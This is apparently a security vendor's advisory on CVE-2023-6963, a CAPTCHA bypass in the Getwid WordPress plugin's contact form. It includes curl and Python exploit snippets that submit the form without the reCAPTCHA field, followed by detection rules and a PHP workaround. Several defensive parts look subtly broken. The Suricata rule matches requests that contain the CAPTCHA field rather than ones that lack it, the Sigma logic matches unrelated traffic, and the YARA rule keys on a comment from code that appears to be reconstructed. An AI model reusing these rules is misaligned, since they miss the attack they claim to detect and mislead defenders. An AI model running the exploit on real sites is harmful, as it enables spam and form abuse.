CVE-2023-6963

Executive Summary

CVE-2023-6963 is a CAPTCHA bypass vulnerability in the Getwid – Gutenberg Blocks plugin for WordPress, affecting versions up to and including 2.0.4. The flaw allows unauthenticated attackers to bypass the reCAPTCHA verification on the Contact Form block by simply omitting the g-recaptcha-response parameter from the submitted form data. This enables automated spam submissions and form abuse without solving the CAPTCHA challenge.

The vulnerability has a CVSS score of 5.3 (Medium) and a very low EPSS score (0.0%), indicating limited active exploitation in the wild. However, the lack of a vendor patch and the simplicity of exploitation make it a significant risk for WordPress sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites that have installed the Getwid plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – no data disclosure.
• Integrity Impact: Low (I:L) – allows form submission without CAPTCHA.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but has limited direct impact (spam, form abuse). However, it can be chained with other attacks (e.g., XSS via form fields) to increase severity.

Deep Dive & Mechanics

The Getwid plugin implements a Contact Form block that uses Google reCAPTCHA to prevent automated submissions. The vulnerability lies in the server-side validation logic. When the form is submitted, the plugin checks for the presence of the g-recaptcha-response field in the $_POST data. If the field is missing, the validation is skipped entirely, allowing the form to be processed without solving the CAPTCHA.

Root Cause: The plugin uses a conditional check like:

if ( isset( $_POST['g-recaptcha-response'] ) ) {
    // Validate reCAPTCHA
} else {
    // Skip validation – vulnerable!
}

This logic assumes that if the field is not present, the form does not require CAPTCHA, which is incorrect.

Attack Flow:

1. Attacker crafts a POST request to the form handler endpoint.
2. The request includes all form fields except g-recaptcha-response.
3. The server processes the form without CAPTCHA verification.
4. The form submission is accepted, enabling spam or automated attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Getwid <= 2.0.4):

// In getwid/includes/blocks/contact-form.php
public function process_form_submission() {
    // ...
    if ( isset( $_POST['g-recaptcha-response'] ) ) {
        $captcha = $_POST['g-recaptcha-response'];
        // Validate with Google
        $response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', [
            'body' => [
                'secret'   => $secret_key,
                'response' => $captcha
            ]
        ] );
        // Check response
    }
    // If g-recaptcha-response is not set, skip validation
    // Process form...
}

Patched Code (Hypothetical Fix):

// In getwid/includes/blocks/contact-form.php
public function process_form_submission() {
    // ...
    if ( ! isset( $_POST['g-recaptcha-response'] ) || empty( $_POST['g-recaptcha-response'] ) ) {
        // Return error – CAPTCHA required
        wp_send_json_error( [ 'message' => 'CAPTCHA verification failed.' ] );
        return;
    }
    $captcha = $_POST['g-recaptcha-response'];
    // Validate with Google
    $response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', [
        'body' => [
            'secret'   => $secret_key,
            'response' => $captcha
        ]
    ] );
    // Check response...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Getwid plugin <= 2.0.4.
• Contact Form block with reCAPTCHA enabled.

Exploitation Steps:

1. Identify the form submission endpoint (usually via AJAX action getwid_contact_form).
2. Craft a POST request omitting g-recaptcha-response:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=getwid_contact_form&form_id=123&name=attacker&email=attacker@example.com&message=spam"

3. The form will be processed without CAPTCHA verification.

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "getwid_contact_form",
    "form_id": "123",
    "name": "spammer",
    "email": "spam@example.com",
    "message": "Bypassed CAPTCHA!"
}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for form submissions missing the g-recaptcha-response parameter.
• Look for high volumes of submissions from the same IP in a short time.
• Check server logs for admin-ajax.php requests with action=getwid_contact_form and no g-recaptcha-response.

Prevention:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests missing g-recaptcha-response.
• Disable the Contact Form block until a patch is available.
• Use a different CAPTCHA plugin or custom validation.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=getwid_contact_form and no g-recaptcha-response parameter.
• Logs: PHP error logs showing form submissions without CAPTCHA validation.
• Behavior: Sudden increase in form submissions from a single IP or user-agent.
• File: Presence of the vulnerable plugin file getwid/includes/blocks/contact-form.php with version <= 2.0.4.

Detection Engineering

YARA Rule

rule Detect_Getwid_CAPTCHA_Bypass_CVE_2023_6963 {
    meta:
        description = "Detects vulnerable Getwid plugin files with CAPTCHA bypass"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-6963"
    strings:
        $vuln_code = "if ( isset( $_POST['g-recaptcha-response'] ) )"
        $skip_validation = "// If g-recaptcha-response is not set, skip validation"
    condition:
        $vuln_code and $skip_validation
}

Sigma Rule

title: Getwid CAPTCHA Bypass Attempt
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects attempts to bypass CAPTCHA in Getwid Contact Form
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=getwid_contact_form'
        cs-uri-query|contains: 'g-recaptcha-response'
    condition: not selection
falsepositives:
    - Legitimate form submissions without CAPTCHA (if disabled)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6963 Getwid CAPTCHA Bypass Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=getwid_contact_form"; pcre:"/g-recaptcha-response/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Contact Form block in the Getwid plugin settings until a patch is released.
2. Apply a WAF rule to block POST requests to admin-ajax.php that contain action=getwid_contact_form but lack g-recaptcha-response.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that validates the CAPTCHA field regardless of its presence.
• As a workaround, developers can override the plugin's form handler to enforce CAPTCHA validation.

Workaround Code (functions.php):

add_action( 'wp_ajax_nopriv_getwid_contact_form', 'custom_captcha_check', 1 );
add_action( 'wp_ajax_getwid_contact_form', 'custom_captcha_check', 1 );
function custom_captcha_check() {
    if ( ! isset( $_POST['g-recaptcha-response'] ) || empty( $_POST['g-recaptcha-response'] ) ) {
        wp_send_json_error( [ 'message' => 'CAPTCHA is required.' ] );
        exit;
    }
}

Valters IT
Securing WordPress Ecosystems